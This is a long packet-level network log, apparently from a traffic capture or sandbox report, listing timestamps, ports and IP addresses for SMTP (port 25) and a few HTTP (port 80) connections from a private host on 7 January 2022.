Jan 7, 2022 15:56:25.836575031 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.836689949 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979612112 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979640961 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979650974 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979660988 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979674101 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979708910 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979722023 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979753971 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979783058 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979820967 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979850054 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979883909 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979895115 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.979935884 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979969978 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.979989052 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980017900 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980046034 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980065107 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980078936 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980108023 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980182886 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980191946 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980247021 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980283022 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980336905 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980351925 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980421066 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980443001 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980489969 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980503082 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980542898 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980564117 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980617046 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980633020 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980662107 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980683088 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980717897 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980772972 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980828047 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980860949 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980889082 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.980923891 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.980945110 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.018465996 CET	49797	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:26.023272038 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.023328066 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.023374081 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.023416996 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.033031940 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.033169985 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169441938 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169466019 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169475079 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169532061 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169605970 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169619083 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169632912 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169644117 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169706106 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169749022 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169759989 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169766903 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169846058 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169892073 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169903994 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169915915 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169945955 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.169962883 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.169970989 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170008898 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170012951 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170038939 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170066118 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170078993 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170087099 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170135021 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170182943 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170233011 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170247078 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170296907 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170300961 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170326948 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170358896 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170373917 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170375109 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170387983 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170399904 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170420885 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170459986 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170480967 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170511007 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170522928 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170530081 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170535088 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170547009 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.170552015 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170609951 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.170634031 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.213560104 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.213593960 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.213609934 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.213625908 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.213639975 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.213680029 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.213721991 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.213804960 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.243742943 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.243880033 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.252835989 CET	49800	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:26.268493891 CET	49801	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:26.359146118 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359181881 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359194040 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359208107 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359222889 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359240055 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359255075 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359308958 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359324932 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359333038 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359342098 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359359026 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359384060 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359498024 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359519958 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359546900 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359563112 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359579086 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359594107 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359608889 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359618902 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359661102 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359682083 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359713078 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359730959 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359746933 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359788895 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359810114 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359836102 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359910965 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.359950066 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359966993 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.359982014 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360007048 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360048056 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360069036 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360086918 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360153913 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360172033 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360209942 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360227108 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360241890 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360330105 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360359907 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360372066 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360394001 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360436916 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360438108 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360497952 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360531092 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360548973 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360591888 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360605001 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360620022 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360650063 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360666037 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360685110 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360748053 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360780001 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360796928 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360815048 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360831022 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360838890 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360887051 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.360893965 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360910892 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360925913 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.360996008 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361042976 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361084938 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361152887 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361170053 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361216068 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361232996 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361299992 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361318111 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361334085 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361424923 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361520052 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361536980 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361546993 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361591101 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.361608028 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403239965 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403271914 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403287888 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403306007 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403321981 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403337002 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403383970 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403402090 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.403419018 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.443682909 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.443878889 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.444386959 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.548901081 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.548928976 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.548947096 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.548978090 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.548994064 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549010038 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549047947 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549098015 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549128056 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549175024 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549252033 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549289942 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549331903 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549369097 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549459934 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549477100 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549585104 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549654007 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549731970 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549772024 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549787045 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549840927 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549896002 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.549973011 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550014019 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550093889 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550137043 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550260067 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550304890 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550347090 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550415039 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550499916 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550578117 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550628901 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550678015 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550781965 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550796986 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550832987 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.550931931 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551018000 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551031113 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.551033974 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551119089 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.551199913 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551242113 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551357985 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551472902 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551491022 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551506042 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551548958 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551563978 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551662922 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551721096 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551836014 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551851988 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551868916 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551883936 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.551976919 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552020073 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552102089 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552203894 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552262068 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552277088 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552352905 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.552386999 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552402973 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552418947 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552546024 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.552562952 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.636893988 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.636928082 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.636945009 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.636961937 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.637094021 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.637157917 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.674818993 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.680176973 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.680329084 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.740542889 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740570068 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740577936 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740588903 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740597963 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740673065 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740710974 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740724087 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740791082 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.740832090 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.741837978 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.741858959 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831636906 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831664085 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831677914 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831691980 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831706047 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831721067 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831737041 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831753969 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.831764936 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.831825018 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.831847906 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.831859112 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.831882954 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.832163095 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:26.866453886 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.875015974 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.875049114 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:26.875117064 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.025295973 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.025331020 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.025542021 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.025590897 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.025693893 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.025784016 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.025865078 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.025934935 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.026565075 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.026637077 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.026637077 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027040005 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027080059 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027103901 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027262926 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027276993 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027287960 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027297974 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027308941 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027324915 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027333975 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:27.027337074 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027348995 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:27.027359009 CET	49812	25	192.168.2.4	44.239.72.13
